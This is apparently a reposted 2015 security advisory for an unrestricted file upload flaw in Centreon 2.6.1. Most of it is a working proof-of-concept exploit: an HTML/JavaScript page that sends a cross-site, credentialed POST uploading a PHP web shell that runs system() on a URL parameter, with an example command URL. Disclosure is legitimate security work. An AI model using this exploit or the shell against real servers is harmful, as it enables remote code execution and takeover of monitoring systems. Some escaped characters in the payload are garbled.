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Centreon 2.6.1 Shell Upload

Posted on 29 September 2015

Centreon 2.6.1 Unrestricted File Upload Vulnerability

Vendor: Centreon
Product web page: https://www.centreon.com
Affected version: 2.6.1 (CES 3.2)

Summary: Centreon is the choice of some of the world's largest
companies and mission-critical organizations for real-time IT
performance monitoring and diagnostics management.

Desc: The vulnerability is caused due to the improper verification
of uploaded files via the 'filename' POST parameter. This can be
exploited to execute arbitrary PHP code by uploading a malicious
PHP script file that will be stored in the '/img/media/' directory.

Tested on: CentOS 6.6 (Final)
 Apache/2.2.15
 PHP/5.3.3

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 @zeroscience

Advisory ID: ZSL-2015-5264
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5264.php

10.08.2015

--

<html>
 <!-- Specified dir is 1337 and filename is shelly.php -->
 <!-- Ex: http://localhost.localdomain/centreon/img/media/1337/shelly.php?c=id -->
 <body>
 <script>
 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http://localhost.localdomain/centreon/main.php?p=50102", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------951909060822176775828135993");
 xhr.withCredentials = true;
 var body = "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="directories"
" +
 "
" +
 "1337
" +
 "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="list_dir"
" +
 "
" +
 "0
" +
 "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="filename"; filename="shelly.php"
" +
 "Content-Type: application/octet-stream
" +
 "
" +
 "x3c?php
" +
 "echo "x3cprex3e";system($_GET['c']);echo "x3c/prex3e";
" +
 "?x3e
" +
 "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="img_comment"
" +
 "
" +
 "peened
" +
 "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="action[action]"
" +
 "
" +
 "1
" +
 "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="submitA"
" +
 "
" +
 "Save
" +
 "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="MAX_FILE_SIZE"
" +
 "
" +
 "2097152
" +
 "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="img_id"
" +
 "
" +
 "
" +
 "-----------------------------951909060822176775828135993
" +
 "Content-Disposition: form-data; name="o"
" +
 "
" +
 "a
" +
 "-----------------------------951909060822176775828135993--";
 var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i);
 xhr.send(new Blob([aBody]));
 }
 </script>
 <form action="#">
 <input type="button" value="Submit request" onclick="submitRequest();" />
 </form>
 </body>
</html>

 

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